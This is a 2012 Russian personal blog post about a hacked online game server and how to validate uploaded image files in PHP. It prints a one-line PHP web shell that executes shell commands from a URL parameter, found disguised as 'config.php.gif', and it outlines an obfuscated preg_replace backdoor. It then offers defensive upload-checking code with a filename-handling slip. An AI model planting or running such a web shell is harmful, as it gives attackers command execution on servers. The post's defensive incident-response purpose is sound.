вторник, 16 октября 2012 г.

Проверка загружаемых файлов


Сейчас мне пришлось работать с одним из клонов известного Бойцовского клуба. Игра была взломана. Злоумышленник авторизуется под персонажами глав администрации и делает что хочет.

Основная проблема в грубом нарушении разработчиками правил безопасности при проверке получаемых от пользователя данных. Местами проверок вообще нет.

На данный момент я прохожу по основным скриптам, экранируя переменные получаемые извне. Также были удалены скрипты позволяющие скачать базу, просмотреть содержимое папок и информацию о сервере. Как они были залиты я ещё не выяснил.

Интересно, что один из хакерских скриптов был обнаружен моим антивирусом. При этом сам скрипт выглядел следующим образом:
// <несколько переменных>
preg_replace("/.*/e",
 "<мешанина символов на несколько десятков строк>");
Но в первую очередь на глаза мне попались странные файлы в корне сайта с названиями «config.php.gif», помимо прочего содержащие следующую строку:
<?php system(urldecode($_GET['q'])); ?>
Хоть этот вариант атаки и не сработал, благодаря тому что при загрузке изображений файлам принудительно присоединялось расширение «.gif», я хочу написать о проверке загружаемых файлов.

В моём случае обработка загружаемого изображения состояла из:
  • проверки расширения,
  • проверки mime типа при помощи getimagesize
  • принудительной установки расширения .gif.

По-моему правильнее было бы сделать следующим образом:
define('MAX_FILE_NAME_LEN', 250);
define('DEST_FOLDER', 'd:/htdocs/test/');
 
$img_file = $_FILES['file']['tmp_name'];
 
/*
[ проверка кода ошибки $_FILES['file']['error'] ]
*/
 
// Получение mime-типа
$img_info = getimagesize($img_file);
 
// Проверка на соответствие типу
// правильнее иметь список разрешённых типов, а не наоборот
switch ($img_info['mime'])
{
    case 'image/gif':
 
        $img_res = imagecreatefromgif($img_file);
        $file_ext = '.gif';
        break;
 
    case 'image/jpeg':
 
        $img_res = imagecreatefromjpeg($img_file);
        $file_ext = '.jpg';
        break;
 
    default:
 
        trigger_error('Unknown type "'. $img_info['mime'] .'"!',
            E_USER_ERROR);
        exit;
}
 
if ($img_res === false)
{
    trigger_error('File is not valid!', E_USER_ERROR);
    exit;
}
 
// Проверяем имя файла
$dot_pos    = strrpos($_FILES['file']['name'], '.');
$name_chunk = substr($_FILES['file']['name'], 0, $dot_pos);
 
$name_chunk = substr($_FILES['file']['name'], 0,
    MAX_FILE_NAME_LEN);
$name_chunk = preg_replace('/[^\d_.a-z]/i', '', $name_chunk);
 
if (!strlen($name_chunk))
    $name_chunk = time();
 
// Избегаем перезаписывания файлов
$img_name = $name_chunk . $file_ext;
 
if (file_exists(DEST_FOLDER . $img_name))
{
    for ($i = 1;
        file_exists(DEST_FOLDER . $name_chunk . '_' . $i .
        $file_ext); $i++);
 
    $img_name = $name_chunk . '_' . $i . $file_ext;
}
 
// This function checks to ensure that the file designated by
// filename is a valid upload file (meaning that it was uploaded
// via PHP's HTTP POST upload mechanism).
move_uploaded_file($_FILES['file']['tmp_name'],
    DEST_FOLDER . $img_name);
Дополнительно можно разумно ограничить минимальный и максимальный размер файла.

Помимо самого файла, нужно обезопасить директорию назначения, и снять с неё права на выполнение:
chmod a-x /dir/path
PS: а ещё я сегодня получил права :)

Комментариев нет:

Отправить комментарий